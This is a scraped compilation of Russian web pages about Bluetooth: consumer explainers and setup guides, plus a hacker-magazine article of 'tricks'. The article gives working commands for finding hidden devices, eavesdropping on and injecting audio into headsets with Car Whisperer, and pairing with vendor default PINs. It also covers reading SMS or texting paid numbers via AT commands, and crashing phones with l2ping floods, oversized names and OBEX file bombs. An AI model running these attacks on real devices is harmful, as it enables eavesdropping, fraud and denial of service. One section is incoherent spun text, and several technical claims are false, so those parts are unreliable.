8-900-374-94-44
[email protected]
Slide Image
Меню

Работа с bluetooth с – Блютуз: что это такое и как им пользоваться

Содержание

Блютуз: что это такое и как им пользоваться

Хотите узнать, что такое Bluetooth (Блютуз) и как им пользоваться, например, в телефоне, чтобы наконец избавиться от проводов? Тогда изучайте нашу статью, ведь в ней Вы узнаете все о том, как работает Блютуз.

Bluetooth — это беспроводная персональная сеть передачи данных, которая используется для сопряжения устройств, оснащенных специальными модулями.

По большому счету, о Блютус знают все, кто хоть немного знаком с современными технологиями и пользуется компьютерами, смартфонами и планшетами. Данная технология передачи данных по воздуху одна из самых массовых и появилась достаточно давно, поэтому вопрос о том, что это такое, простителен для только для чайников, которые совсем не слышали о Блютуз, или как его еще многие называют — Блютус.

Как пользоваться Блютузом?

В основном его используют для того, чтобы передать те или иные данные с одного устройства на другое, но это далеко не единственная сфера применения. Можно управлять устройствами на расстоянии без надоедливых проводов, соединять несколько устройств на достаточно большом расстоянии (до 100 метров). Особенно это впечатляет, если сравнить ее с технологией ИК-портов.

Вспомните, как меньше, чем 10 лет назад, нам приходилось держать телефоны вплотную друг к другу, чтобы просто передать по ИК-порту понравившуюся картинку или мелодию, и при малейшем шевелении одного из устройств процесс прерывался. К счастью, технологии идут вперед семимильными шагами, главное — вовремя за ними успевать и всегда быть в курсе новинок, ведь они делают нашу жизнь более интересной и комфортной.

Беспроводное соединение устройств действительно очень удобно! Так, например, можно подсоединить к компьютеру клавиатуру, колонки и мышку, тем самым не оставив шанса вашим домашним животным повредить провода и вывести из строя только что купленную технику. И все это благодаря тому, что проводов попросту нет. Здорово, не правда ли?

  1. Почти все современные ноуты уже оснащены встроенной поддержкой Bluetooth.
  2. А для ПК всегда можно при желании купить специальный подключаемый к USB порту адаптер.
  3. Кроме компьютера, опцию можно найти в телефонах, наушниках или мини-гарнитуре, планшете, фотоаппарате, умных часах и еще много где, ведь фантазия производителей действительно безгранична!

Но все-таки наибольшее распространение технология получила именно в смартфонах, поэтому подробнее остановимся именно на том, как пользоваться Блютузом на телефоне. Начнем с того, для чего нужен Блютуз в телефоне и зачем его добавляют практически на все современные устройства.

На самом деле, все очень просто — технология предназначена для обмена данными, а значит, вы можете передать нужные файлы с телефона на практически любое устройство. Это может быть второй смартфон, наушники, ноутбук, мини-колонка и т.д. Исключение составляют только Айфоны — их владельцам такая возможность недоступна. Для активации функции нужно:

  • Нажать соответствующий значок в выпадающем меню.

  

  • Или зайти в настройки устройства.

  

Алгоритм действий по соединению будет зависеть от того, на каком именно устройстве вы хотите воспользоваться опцией. Описывать их сейчас мы сейчас не будем, ведь таких устройств слишком много. Но к счастью, о многих из них на нашем сайте есть отдельные статьи.

Кстати о том, что такое nfc в телефоне и как им пользоваться мы рассказывали в другой статье.

Как работает Блютус?

Чтобы понять, как работает Bluetooth (Блютуз) и что это такое, стоит вернуться к тому, с чего мы начали нашу статью — определению.

Итак — это стандарт беспроводной связи, обеспечивающий передачу информации между различными устройствами: телефонами, компьютерами, компьютерной периферией, часами, бытовой техникой и прочими девайсами. 

А теперь рассмотрим принцип работы Bluetooth (Блютуз):

  • передача данных основана на радиоволнах;
  • при передаче используется единый ISM диапазон, который был принят за основу общим решением союза компаний;
  • отправка и принятие цифровой информации может осуществляться как между двумя девайсами, так и от одного к нескольким устройствам.

Советуем также почитать нашу статью о решении возможных проблем при работе беспроводных мышек.

Радиус действия Bluetooth и скорость передачи

Что касается вопроса о том, на каком расстоянии работает и ловит Блютуз, то согласно последним данным с Википедии, его зона действия весьма обширна — дальность может достигать 100 метров. На момент 2019 г. беспроводной интерфейс даже позволяет отправлять файлы пользователям, которые находятся в другом помещении. То есть, включив функцию, Вы без проблем сможете передать игру, файл или изображение другу, который живет в соседнем доме.

Стоит отметить, что устройства с первыми версиями на низких скоростях с трудом обменивались данными в пределах одной комнаты или даже управлять устройствами с помощью беспроводной мышки. Но к счастью, теперь все изменилось.

Что касается скорости передачи данных Bluetooth, то она будет зависеть от версии, которую вы используете:

  • 1.0 — до 1 Мб/с
  • 2.0 — около 3 Мб/с
  • 3.0 — до 24 Мб/с для больших пакетов
  • 4.0 — до 24 Мб/с, и увеличилась скорость до 1 Мб/с в устройствах с размер пакета 8-27 байт). 
  • Для версии 5.0 она составляет около 100 Мб/с

Как можно увидеть, скорость передачи данных за время существования технологии значительно выросла, ведь первые версии могли передавать файлы на скорости максимум до 1 Мб в секунду. На момент 2019 г. самой свежей является пятая версия стандарта — Bluetooth 5.0, которая действует с 2016 года. Она передает информацию на скорости до 100 Мб в секунду, что действительно впечатляет.

Кстати, все версии совместимы друг с другом. Разница будет только в дальности связи и скорости передачи данных. Разработчики не собираются останавливаться на достигнутых скоростях и возможностях несмотря на то, что беспроводную сеть данного стандарта активно пытаются вытеснить с рынка конкурентные разработки.

По сравнению со скоростью передачи данных у Wi-Fi, этот показатель, даже у последней версии, конечно не очень впечатляет. Кстати, а чем вообще отличается Блютуз от Вай фай? Как раз об этом мы и поговорим в следующем разделе!

Обновление: совсем скоро выйдет новая версия — Bluetooth 5.1. Ее отличительной особенностью будет максимальная точность поиска и определение направления движения. Подробнее о ней вы можете узнать здесь.

Отличие Блютус от Вай Фай

Ради интереса мы специально провели мини-опрос среди своих знакомых, и результаты на удивили! Многие не знают, в чем именно заключается разница между Вай Фай и Блютуз, более того, некоторые даже думали, что это просто названия одного стандарта беспроводной связи. Но они не правы, разница между ними есть, и она огромна.

Для наглядности мы собрали все характеристики обеих технологий в сравнительную таблицу.

Wi-Fi Bluetooth

 Сфера применения

Основная цель – это избавление пользователей от проводов при использовании Он придуман для того, чтобы передавать данные между 2 устройствами – будь то например, 2 компьютера, а также телефоны и любая другая техника.
Радиус действия  Около 300 метров в зоне прямой видимости Может достигать максимум 100 метров. В одном помещении обычно это около 10 метров.
Диапазон частот От 2.4 ГГц до 5 МГц 2,4-2,4835 ГГц
Стандарт  IEEE 802.11 Bluetooth 4.0
Подключение, установка и настройка  Для этой сети нужно обязательно устанавливать модем или маршрутизатор Устройствам Bluetooth не нужна доп. настройка или установка оборудования. Нужно просто выбрать совместимое устройство, на которое нужно передать данные.
Тип сети  WLAN – в ней может быть большое количество устройств, возможно создание локальной сети. Можно создать лишь ограниченную двумя устройствами сеть (PAN – персональная сеть)
Скорость передачи данных до 500 Мбит/с до 12 Мбит/с

Но и сходства есть. Так. например, обе технологии используют для передачи данных определенные радиочастоты и являются беспроводными стандартами связи. А путают их потому, что самые простые действия, к примеру передача фотографий с телефона на компьютер, можно сделать с помощью обеих опций. Сказать, что лучше использовать — Блютуз или Вайфай, невозможно, не зная конкретной ситуации, ведь обе эти технологии хороши по-своему и используются для разных целей.

Кстати, впервые созданием данной технологии занялась компания Ericsson в далеком 1994 году. Общее распространение Блютуз начал получать с 1998 года, когда была создана специальная группа компаний, в которую входили Ericsson, IBM, Intel, Nokia и Toshiba, которые совместными усилиями занимались разработкой.

Как выглядит Блютуз и где он есть?

Bluetooth в дословном переводе с английского состоит из двух слов – голубой и зуб. В переводе с датского это сочетание означает синезубый (в честь короля викингов из Дании).

Расшифровка значка технологии весьма любопытная. На эмблеме красуются две скандинавские руны, совмещенные вместе. Цветовое решение логотипа также полностью соответствует названию.

  • Существует огромное количество устройств, которые можно использовать без подключения проводов именно благодаря наличию Блютус, и с каждым днем их количество только растет.
  • Найти эту технологию можно сейчас практически везде: в телефонах, компьютерах, наушниках, телевизоре, магнитоле, пылесосах, кофеварках, стиральных машинах и даже в холодильниках!

Да-да, мы абсолютно серьезно, в некоторых современных холодильниках действительно есть эта опция — она помогает: отслеживать свежесть продуктов, заказывать их из магазина, дистанционно изменять температуру, выполнять автоматическую диагностику на предмет неполадок, входить в интернет и даже соц. сети. Кажется, будущее уже наступило.

Вреден ли Блютуз для здоровья человека?

Вопрос о том, вреден ли Блютуз для здоровья человека, весьма актуален, ведь с каждым днем технология все больше внедряется в нашу жизнь. Ее добавляют в огромное количество техники, делая нашу жизнь удобнее и интереснее.

Да, излучение от bluetooth оказывает влияние на здоровье, но оно настолько незначительно, что особого вреда нанести не сможет, бояться нечего. Однако, врачи говорят о том, что при регулярном использовании вред от Блютуз все-таки есть – могут возникнуть головные боли или раздражительность.

В общем, удобство во много раз превышает тот минимальный вред, который оказывает на организм использование, например, той же блютус гарнитуры, без которой не могут представить себе жизнь люди за рулем, которым технология Hands Free пришлась весьма по душе, ведь по обычному телефону автомобилистам во время движения поговорить не получится. Поэтому, просто соблюдайте меру при использовании, и все будет хорошо!

На каком устройстве вы чаще всего используете Bluetooth? Poll Options are limited because JavaScript is disabled in your browser.
  • Мобильный телефон/Смартфон 45%, 20 голосов

    20 голосов 45%

    20 голосов — 45% из всех голосов

  • Наушники 20%, 9 голосов

    9 голосов 20%

    9 голосов — 20% из всех голосов

  • Колонки, клавиатура, мышь 18%, 8 голосов

    8 голосов 18%

    8 голосов — 18% из всех голосов

  • ПК/ноутбук 11%, 5 голосов

    5 голосов 11%

    5 голосов — 11% из всех голосов

  • Другое 5%, 2 голоса

    2 голоса 5%

    2 голоса — 5% из всех голосов

Всего голосов: 44

01.02.2019

×

Вы или с вашего IP уже голосовали. Голосовать

besprovodnik.ru

Что такое bluetooth для чайников. Что такое Bluetooth и как он работает? Принцип работы Bluetooth

«Bluetooth» — это короткое загадочное слово в последнее время нам приходится слышать все чаще и чаще. В нескольких словах, это одна из технологий беспроводных сетей. Но раз «одна из…» — значит, их существует немало. Почему же именно Bluetooth? Действительно, подобные технологии были и раньше, есть и сейчас, но ни одна из них не имела и не имеет такой мощной и всесторонней поддержки — и ни про одну из них столько не говорилось и не говорится. Попробуем разобраться, что это такое.

С другой стороны, устройства непрерывно обмениваются данными по низкочастотным низкочастотным радиочастотам. Радиочастоты легко проходят через стены, а их низкая мощность помогает снизить вероятность помех от других технологий, которые используют радиоволны, например, интернет-маршрутизаторы или пульт телевизора. Что это означает на практике?

Технология помогает подключать и объединять различные устройства, технология названа в честь датского короля Харальда Балланта или «Голубого зуба» Харальда Дански, который объединил воюющие части Норвегии, Швеции и Дании в 10 веке. Убедитесь, что на вашем мобильном телефоне активировано подключение к Интернету. Обратите внимание, что разные операционные системы могут не поддерживать все типы соединений.

Bluetooth — это технология передачи данных на короткую дистанцию, призванная заменить соединение сотового телефона, мобильного компьютера и других периферийных устройств между собой с помощью проводов на более удобное соединение по радиоканалу. Главная задача — обеспечение экономичной (с точки зрения потребляемого тока) и дешевой радиосвязи между различными типами электронных устройств.

Затем вы можете закрыть приложение, так как вам больше не нужно будет работать с вашим устройством. Для использования этого соединения мобильное приложение не требуется, но вы можете его загрузить и использовать для управления своей учетной записью. Убедитесь, что операционная система вашего мобильного телефона поддерживает выбранный тип подключения. Запуск мобильного приложения автоматически установит соединение с устройством. . При необходимости вы можете связаться с вашим агентом или нашим Центром обслуживания клиентов.

Проверьте, выполнены ли все действия.

  • Загрузите и установите бесплатное мобильное приложение.
  • Запустите приложение для мобильных устройств и оставьте его.
  • Убедитесь, что ваш мобильный телефон находится в режиме обнаружения.
Обе технологии соединяют беспроводные устройства, но есть некоторые различия в их возможностях.
Происхождение названия

Дословно Bluetooth переводится с английского как «синий зуб» — что, правда, имеет мало общего с сутью. Наиболее известной версией происхождения этого бредового названия является следующая.

Давно-давно, в 910-940-х годах, в Дании жил король Гаральд Блютус (Haraid Bluetooth), который являлся предводителем викингов и вошел в историю в качестве объединителя скандинавских земель. Именно благодаря ему в те весьма далекие времена Дания и Норвегия слились практически в одно целое.

Новые устройства появляются на рынке, обмениваясь друг с другом по-разному. Некоторые устройства все еще полагаются на «проводное» соединение, в то время как другие направляются на беспроводную связь, что определенно экономит массу неудобств. Кроме того, все в беспроводной связи кажется аккуратным из-за отсутствия кабелей.

Инфракрасная технология используется в течение длительного времени и находится в большом количестве устройств. Для передачи информации между двумя устройствами она использует частоту электромагнитного спектра чуть ниже красного света. Массивное проникновение этого стандарта связано с доступной технологией процесса и простой интеграцией инфракрасного излучения в устройства.

На самом деле его имя — Гаральд Гормс, однако чаще его называли прозвищем, вошедшим в английские летописи как Bluetooth — «Синезубый». На староскандинавском его имя звучало как «Bletand» и не имело ничего общего с синими зубами. А означало оно что-то вроде «чернявый», поскольку Гаральд имел весьма нетипичную для викингов-скандинавов смуглую кожу, черные волосы («bla» в переводе означает «темнокожий») и могучее телосложение (словом «tan» называли высокого хорошо сложенного человека). Вероятно, английские летописцы не захотели ломать язык и придумали королю более простое прозвище.

Однако инфракрасный спектр имеет некоторые недостатки. Прежде всего, есть небольшое расстояние, которое два устройства должны размещать так, чтобы они могли быть подключены. Во-вторых, устройства должны быть обращены друг к другу. Для того, чтобы соединение имело место, пользователь должен

www.tariferix.ru

Трюки с Bluetooth: маленькие хитрости использования «синего зуба»

Содержание статьи

Все отлично знают, что с помощью Bluetooth можно передать файл с девайса на девайс или подключить беспроводную гарнитуру. Но этим его возможности не ограничиваются. Имея при себе нужный инструмент, можно творить настоящие чудеса. Так почему бы не попробовать себя в роли фокусника?

Встроенный модуль технологии Bluetooth (или, если более официально, IEEE 802.15.3) давно перестал быть диковинкой. Стоимость модуля настолько мизерна, что не встраивает его в мобильный, ноутбук или КПК только ленивый производитель. Да и то – по соображениям маркетинга. Словом, Bluetooth используют практически все. Но лишь единицы знают, что, используя технологию, рискуют выдать свои конфиденциальные данные. Но начнем все-таки с хорошего!

 

Трюк 1: Используем BT для удаленного доступа к компьютеру

Как-то для проведения презентации я пригласил одну длинноногую подругу – нажимать кнопку «пробел», чтобы перелистывать слайды в Power Point. Это удовольствие стоило мне недешевого обеда и двух часов пустых разговоров с Barbie girl. После этого я твердо решил: в следующий раз проблему отсутствия пульта ДУ я обойду по-другому. И обошел, воспользовавшись мобильником! Да-да, прямо с телефона можно перелистывать слайды, управлять музыкой – и делать еще бог знает что. Главное, чтобы на мобильнике и компьютере были установлены BT-модули. Мало того, что сэкономишь деньги и силы, так еще и выглядеть будешь непростительно модно. Показать такой фокус способен каждый, кто заюзает утилиту
Bluetooth Remote Control
, не столь давно обновившуюся до версии 3.0. Она позволяет управлять компьютером с экрана любого мобильного телефона. Все очень просто. На компьютер ставится специальная серверная часть, а на телефон – программа-клиент, написанная на Java (требуется MIDP 2.0). После настройки нехитрой схемы ты сможешь дистанционно управлять мышкой и клавиатурой компа. И самое главное – получишь доступ к удаленному рабочему столу. Настоящий Remote Desktop прямо с экрана мобильного телефона! Ну, а с длинноногой подругой время можно провести куда более удачно. Bluetooth Remote Control пригодится и здесь: чтобы поставить
романтическую музыку :).

 

Трюк 2: Контроль доступа с помощью BT

Если ты работаешь в комнате, где вместе с тобой сидит с десяток коллег, тебе наверняка приходилось блокировать компьютер, когда уходишь в другое помещение. А что? Не успеешь отойти, как кто-нибудь уже покопается на твоем харде. Расклад не самый приятный. В общем, лочить компьютер нужно обязательно, вопрос в том – как? Можно использовать стандартные возможности винды и по десять раз на дню вводить длиннющий пароль. Или же делать это красиво с помощью технологии Bluetooth. Все просто, как дважды два. Отходишь от компьютера – и он тут же блокируется. Возвращаешься обратно – и лока как не бывало! Единственное условие: как в компьютере, так и в мобильном телефоне должен быть установлен модуль
Bluetooth, а в системе заинсталена программа LockItNow (ты легко можешь написать такую программу и сам, у нас была целая статья). Впрочем, приятелям и коллегам можно рассказывать о телепатических возможностях, а потом продавать секрет за деньги :). Кстати говоря, если под рукой BT-модуля нет, то его можно заменить телефоном, который поддерживает «синий зуб» (подключи по COM-порту).

 

Трюк 3: Снифаем BT-трафик из эфира

Мастерство начинается с понимания. Не возникало ли у тебя когда-нибудь желания посмотреть внутрь протокола и узнать, как происходит обмен данными через «синий зуб»? Прослушивание трафика Bluetooth может выполняться только «в себя», то есть выполняется перехват исходящего и входящего трафика узла, на котором ты отдал команды. В этом деле немаловажное значение имеет так называемый Host Controller Interface (HCI), который позволяет обращаться к передатчику. HCI-узел обычно подключается к узлу драйвера устройства Bluetooth (входящий поток) и к узлу L2CAP (исходящий поток). Windows платформа по умолчанию такой возможности не предоставляет. Однако сторонними разработчиками были выпущены
специальные драйвера, которые позволяют переводить стандартный донгл в сниффер. Традиционно показательной в этом плане является работа FTS4BT Wireless Bluetooth Protocol Analyzer, стоящего бешеные деньги. Продукт цепляет тем, что поддерживает новый Bluetooth v2.0 + EDR, на базе которого работают современные устройства и, более того, способен на лету декодировать весь трафик из эфира, аккуратно отсортировывая аудио, данные протоколов приложений и многое другое. Понятно, что для снифинга (да и вообще) наиболее актуальны USB-донглы класса 1, радиус действия которых достигает ста метров.

 

Трюк 4: Работаем с BT-адаптером напрямую

Долгое время Bluetooth стеки для Windows предоставляли настолько скудные возможности, что программисты просто обходили эту платформу стороной. Этим объясняется, что большинство программ для серьезных забав c «синим зубом» разрабатываются под никсовую платформу. Некоторые из хитрых приемов мы разберем именно на это платформе, а именно FreeBSD (напомню, что на диске прошлого номера мы выкладывали свежий 7.0 релиз этой ОС). Сама технология Bluetooth официально стала поддерживаться на ней только с 5-ой ветки на базе подсистемы Netgraph. Радует, что большинство USB-адаптеров совместимы с драйвером ng_ubt (его необходимо завести перед подключением устройства). Попробуем?

  1. Подключаем устройство: kldload ng_ubt
  2. Копируем сценарий подгрузки стека в удобное место: cp /usr/share/examples/netgraph/bluetooth/rc.bluetooth /usr/local/etc/rc.bluetooth
  3. Копируем сценарий подгрузки стека в удобное место и запускаем: sh /usr/local/etc/rc.bluetoots start ubt0

Теперь хочу познакомить тебя с утилитой hccontrol. Это одна из основных программ для работы с BT-модулем. Именно она выполняет все операции, связанные с интерфейсом HCI, и имеет следующий синтаксис: hccontrol –n <имя_hci_узла> <команда>. Проверим функциональность нашего устройства, просканиров эфир на наличие устройств:

hccontrol –n ubt0hci Inquiry

Как результат, утилита выведет информацию о найденных устройствах, в том числе их MAC-адреса. Надо заметить, что каждое из устройств Bluetooth, будь то хедсет или обыкновенный телефон, представляет некоторый набор сервисов. Базовый перечень включает в себя: CIP (Common ISDN Access), CTP (Cordless Telephony), DUN (dial-up networking), FAX (FAX), FTRN (Obex File Transwer), HSET (Headset), NAP (Network Access Point). Чтобы выяснить, какие сервисы предоставляет то или иное устройство, используется запрос на специальном протоколе SPD (Service Descovery Protocol). Сервер SPD работает непосредственно на машине-хосте и является исключительно информационной составляющей (повлиять на него
невозможно). Определить, какие сервисы предоставляют найденные устройства, можно с помощью соответствующей утилиты:

# spdcontrol -a <MAC-адрес устройства> browse

 

Трюк 5: Находим скрытые устройства

Итак, эфир мы просканировали и даже выяснили, какие сервисы доступны на активных устройствах. Но вот загвоздка! Некоторые девайсы никак не выдают своего присутствия, поскольку находятся в режиме «Undiscoverable mode» и не отвечают на широковещательные запросы. По настройкам своего телефона ты наверняка знаешь о подобной опции безопасности. Однако обнаружить такие устройства все-таки можно!

Самый известный прием их обнаружения – тупой перебор MAC-адресов, то есть последовательная посылка запросов на разные адреса из определенного диапазона. Для этого нужно использовать очень простую утилиту Redfang, которая перебирает последние шесть байт адреса устройства и таким образом обнаруживает спрятавшиеся устройства.

Другой вариант – это использовать пассивные методики: перевести свое устройство в режим ожидания, при этом назначить сети какое-нибудь привлекательное имя:

hciconfig hci0 name BT_YANDEX
hciconfig hci0 down
hciconfig hci0 up
hcidump -V | grep bdaddr

В результате отобразятся все входящие соединения, среди которых могут запросто оказаться товарищи со скрытыми идентификаторами.

 

Трюк 6: Перехватываем из эфира разговоры по гарнитуре

Одна из основных угроз радиотехнологий состоит в том, что данные можно перехватить. Первое, что приходит в голову, касаемо Bluetooth – прослушать разговоры людей, использующих гарнитуру. И зачастую это реально! На хакерском фестивале What the Hack в Нидерландах специалисты из группы Trifinite продемонстрировали, как при помощи ноутбука с Linux, специальной программы и направленной антенны можно подслушать, о чем говорит через Bluetooth-гарнитуру водитель проезжающего автомобиля. Группа разработала программу Car Whisperer («Автомобильный шептун»). Возможности программы относительно невелики: прослушать можно только тех, кто забыл сменить заводские пароли доступа к Bluetooth наподобие
«0000» или «1234». Но таких бедолаг, поверь, очень и очень много! «Шептун» способен вклиниться и успешно пройти «pairing» устройств, получив информацию, передаваемую с каркита или хедсета на мобилку. Хочу обратить внимание: утилита позволяет не только получить информацию, передающуюся между хедсетом и мобилой, но и инжектить туда свою. Мы решили проверить возможности этой программы, скачав Car Whisperer с сайта разработчиков.

Перед началом операции рекомендуется изменить класс своего устройства, особенно если программа будет использоваться с компьютера:

hciconfig адаптер class 0x500204
# 0x500204 - это класс «phone»

В противном случае некоторые «умные» девайсы могут заподозрить неладное. Смотрим синтаксис утилиты, который выглядит следующим образом:

./carwhisperer «что внедряем в линию» «что захватываем из линии» «адрес устройства» [канал]

Мы взяли внедряемый файл прямо из папки утилиты, а в качестве выходного указали out.raw:

./carwhisperer 0 message.raw /tmp/out.raw
00:15:0E:91:19:73

На выходе получаем файл out.raw. Прослушать его в чистом виде нельзя: необходимо преобразовать в аудио формат, для чего потребуется дополнительная утилита. Подойдут довольно многие аудио конвертеры, например SoX:

raw –r 8000 –c 1 –s –w out.raw –t wav –r
44100 –c 2 out.wav

Кроме прослушивания, можно войти в систему, просмотреть телефонную книгу и воспользоваться другими возможностями «свободных рук» с Bluetooth. Принцип такой: сначала осуществляется поиск активных устройств и проверка на предмет сервиса HS (Head Set). Далее исследуется MAC-адрес устройства и производится попытка подключения с использованием стандартного ключа. Если коннект установлен, то с устройством можно делать все, что угодно (в пределах доступного набора AT-команд).

На практике это выглядит следующим образом. Сначала осуществляется поиск всех активных гарнитур с помощью команды «sdptool search HS», которая выдает примерно такой ответ:

Inquiring ...
Searching for HS on 00:0A:3A:54:71:95 ...
Service Name: Headset
Service RecHandle: 0x10009
Service Class ID List:
"Headset" (0x1108)
"Generic Audio" (0x1203)
Protocol Descriptor List:
"L2CAP" (0x0100)
"RFCOMM" (0x0003)
Channel: 7
Language Base Attr List:
code_ISO639: 0x656e
encoding: 0x6a
base_offset: 0x100
Profile Descriptor List:
"Headset" (0x1108)
Version: 0x0100

Далее осуществляется попытка открыть RFCOMM соединение на SCO audio channel с помощью команды «rfcomm connect 2 00:0A:3A:54:71:95 1» и посылка нужных AT-команд. Приведу небольшую статистическую заметку о данных авторизации на некоторые модели беспроводных гарнитур:

Nokia (00:02:EE...) - pin="5475"
Audi UHV (00:0E:9F...) - pin="1234"
O'Neill (00:80:37...) - pin="8761"
Cellink (00:0A:94...) - pin="1234"
Eazix (00:0C:84...) - pin="1234"

Кстати говоря, тот же принцип может использоваться для несанкционированного подключения и ко всем остальным устройствам. При помощи AT-команд и протокола RFCOMM можно, к примеру, прочитать SMS-сообщение или даже отправить его с чужого телефона на платный номер, поставив владельца девайса на деньги. Будь бдителен!

 

Трюк 7: DDoS BT-устройств

Подход традиционен. DDoS реально провести, когда хостовый девайс («master») выполняет работу, во много раз превосходящую клиентскую. Такую ситуацию называют атакой на отказ в обслуживании (Denial Of Service). Она может подвесить телефон или привести к быстрой разрядке батарейки. Провести атаку можно несколькими способами. Начнем со стандартных средств. Самое очевидное – пинговать девайс пакетами большого размера. Сделать это можно, указав утилите l2ping в качестве параметра «-s» флаг:

# l2ping -s 10000 -b "МАС адрес"

Сама программа, как ты уже понял, является родственником ping в bluetooth среде и служит для проверки связи и наличия соединения. Другой способ, принципиально отличающийся от первого, состоит в использовании приема «fuzzing» – своеобразной техники-лотереи, потому как заранее неизвестно, что произойдет. Это новое веяние в выявлении уязвимостей в продуктах без анализа исходных кодов. Полагается техника только на интерактивное общение с объектом на понятном для него языке, но с абсолютно хаотичными аргументами и значениями-переменными. Хакерской задачей будет сделать так, чтобы видимое название телефона состояло из достаточно большого числа элементов. При обнаружении его «master’ом» в 70%
случаев происходит переполнение или отказ в обслуживании:

hciconfig hci0 name `perl -e 'print "ash" x 3137'`
# Команда для линукса
hccontrol –n адаптер change_local_name “новое имя”)
# пример для FreeBSD

Многие телефоны по-прежнему не могут переварить файлы-бомбы. Вот простая реализация подобного приема.

  1. Сначала готовят «бомбу». Известный пример:
    echo `perl -e ‘print «skvz» x 3137’` > file
  2. После чего используют модифицированную утилиту для взаимодействия с OBEX – USSP PUSH (xmailserver.org/ussp-push.html)
    ./obextool push file 00:0A:3A:54:71:95 `perl -e ‘print «skvz» x 3137’` 3


Полную версию статьи
читай в апрельском номере Хакера!
На нашем диске ты найдешь полные версии программ, описанных в статье, а также полную подборку документации Bluetooth и уязвимостей в этой технологии.

xakep.ru

Как пользоваться блютус

Как пользоваться блютус

Представьте, у Вас на телефоне есть фотография или видео и Вы хотите ими поделиться со своими знакомыми, но они не могут как следует рассмотреть и берут телефон в свои руки и делают вид, что они все увидели.
То ли дело компьютер — передав файл через блютус, на его большом экране можно все хорошенько рассмотреть, украсить фотографии добавив виньетки и смонтировать фильм из снятого видео.
Как пользоваться блютус знают практически все подростки – с помощью этой технологии они обмениваются мелодиями для мобильных телефонов, прикольными картинками и контактами. Люди старшего возраста обычно считают, что технические новинки – уже не для них, поэтому побаиваются осваивать новые технологии. Но для того, чтобы узнать, как пользоваться блютус, на самом деле не требуется изучить горы специальной литературы или окончить профильные курсы. Bluetooth – это технология радиосвязи, которая позволяет устройствам соединяться и обмениваться данными. Если человек научился пользоваться радиоприемником, мобильным телефоном и компьютером, то понять, как пользоваться блютус для него не составит никакого труда.
Как работает блютус
Технология Bluetooth позволяет передавать данные с одного устройства на другое без использования кабелей. Единственным необходимым условием является наличие специального микрочипа блютус в этих устройствах. Такие устройства с микрочипами соединяются друг с другом автоматически, как только оказываются в пределах досягаемости.
Ранее максимальное расстояние, на котором микрочипы опознавали друг друга, составляло 10 м.
Такой сравнительно небольшой радиус действия обусловил и сферу наибольшего применения данной технологии – подключение различных внешних устройств к мобильным телефонам. Со временем блютус завоевал и новую нишу – уже давно пользователи предпочитают удобные беспроводные клавиатуры, мыши и модемы. Сейчас, когда радиус действия блютус доведен производителями до 100 м, перед этой технологией открываются сногсшибательные перспективы.

Как установить и настроить блютус
Самым сложным делом является установка и настройка соединения блютус, после чего уже не нужно будет задумываться, как пользоваться блютус – компьютер станет автоматически определять все блютус-устройства в радиусе действия и не требовать вмешательства пользователя.
1. Вставьте блютус-адаптер в компьютерный разъем USB (туда, куда обычно вставляется флешка).

2. Если устройство не определилось автоматически, то для установки блютус на компьютер необходимо использовать диск с драйверами (программным обеспечением (поставляется в комплекте с блютус-устройством)). Вставляем диск в дисковод по центру выезжающего приемника дисков, не обращая внимание на то, что диск маленький.

3. Выбираем язык установки. В нашем случае – русский.

Выбор языка


(Рисунок 1)

3.1. Ждём, пока Мастер установки выполнит необходимые приготовления. Нажимаем — «Далее».
3.2. Принимаем условия Лицензионного соглашения.

Лицензионное соглашение


(Рисунок 2)

3.3. Выбираем, нужен ли нам ярлык на рабочем столе и автоматический запуск программы при загрузке ОС или просто жмем «Далее».
3.4. Определяемся с местом установки программы. Если не хотите устанавливать на диск С, то нажмите кнопку «Изменить» и укажите другую папку на другом диске.

Указываем папку установки программы


(Рисунок 3)

3.5. Начинаем установку драйвера.
3.6. Ждём, пока программы устанавливает свои компоненты.
3.7. Извлекаем компакт-диск из дисковода.

4. Если устройство определилось автоматически, то находим в трее над часами значок bluetooth и кликаем на нем правой кнопкой мыши и выбираем в контекстном меню «Принять файл».
Если Вы самостоятельно устанавливали драйвера, то в компьютере нужно открыть программу, кликнув два раза по значку «Bluetooth» на рабочем столе.
После открытия меню программы необходимо выбрать режим обнаружения – в этом режиме компьютер будет искать все доступные блютус-устройства в пределах радиуса действия сигнала.
После обнаружения компьютером сигнала внешнего устройства следует подтвердить запрос на установление связи между устройствами, и все – ваш bluetooth работает!

Как загрузить файл с телефона в компьютер
Файлы с телефона на компьютер обычно передаются неоднократно, поэтому удобнее будет с самого начала установить для телефона стандартное соединение.
1. Активируем bluetooth в телефоне, а в компьютере запускаем специальный мастер подключения, выбрав в меню программы пункт «Подключить устройство Bluetooth». Мастер просканирует все доступные устройства bluetooth и покажет их список.
2. Дважды кликаем по значку телефона, осуществляем переход в окно выбора служб.
3. Среди всех указанных вариантов для передачи файлов лучше всего подходит вариант FTP-сервера, возле которого следует поставить галочку.
4. Нажимаем кнопку «Далее».
5. Для завершения создания стандартного соединения в открывшемся окне нужно нажать кнопку «Готово».

Открыв окно «Bluetooth-окружение», можно увидеть ярлык для созданного соединения. Для подключения телефона к компьютеру нужно всего лишь дважды кликнуть по этому ярлыку и ввести пин-код, если на телефоне активизирована функция «безопасное подключение». После выполнения вышеописанных манипуляций все файлы с телефона будут отображены на экране компьютера в привычном виде папки и ее содержимого. С этими файлами можно производить все стандартные операции, в том числе копирование на жесткий диск компьютера.

Как передать файл через блютус
В свободный USB – разъём подключаем Bluetooth адаптер.
1. Через несколько секунд на рабочем столе появится главное окно программы (его можно вызвать при помощи ярлыка на рабочем столе или в меню Пуск/Программы).

Окно программы для работы с блютус


(Рисунок 4)
Красный шар в центре — компьютер, к которому подключён USB адаптер. Иконки вверху показывают, с какими устройствами он может работать и какие функции выполнять. Попробуем установить соединение с мобильным телефоном (внимание: мобильный телефон должен поддерживать соединение через Bluetooth и оно должно быть включено!).

2. Нажимаем один раз на красный шар. По этой команде программа выполнит поиск устройств.

3. В нашем случае программа нашла одно новое устройство – мобильный телефон.
Теперь два раза кликнем по изображению телефона. Это позволит нам определить доступные сервисы. При этом иконки с их обозначением будут выделены рамками.

Поиск устройств поддерживающих передачу по блютус — найден телефон


(Рисунок 5)

Попробуем установить соединение. Для этого один раз нажимаем «Передача файлов». Программа предложит ввести код подтверждения. Это могут быть любые комбинации цифр, но они должны быть одинаковыми и в компьютере, и в телефоне (например, 123. Или 55).

Вводим код доступа


(Рисунок 6)

Если в памяти Вашего телефона сохранено много устройств, можно отправить визитную карточку компьютера, кликнув по иконке «Пересылка объектов». Это позволит уточнить имя компьютера.

Проблемы?
… Если компьютер не видит устройство bluetooth.
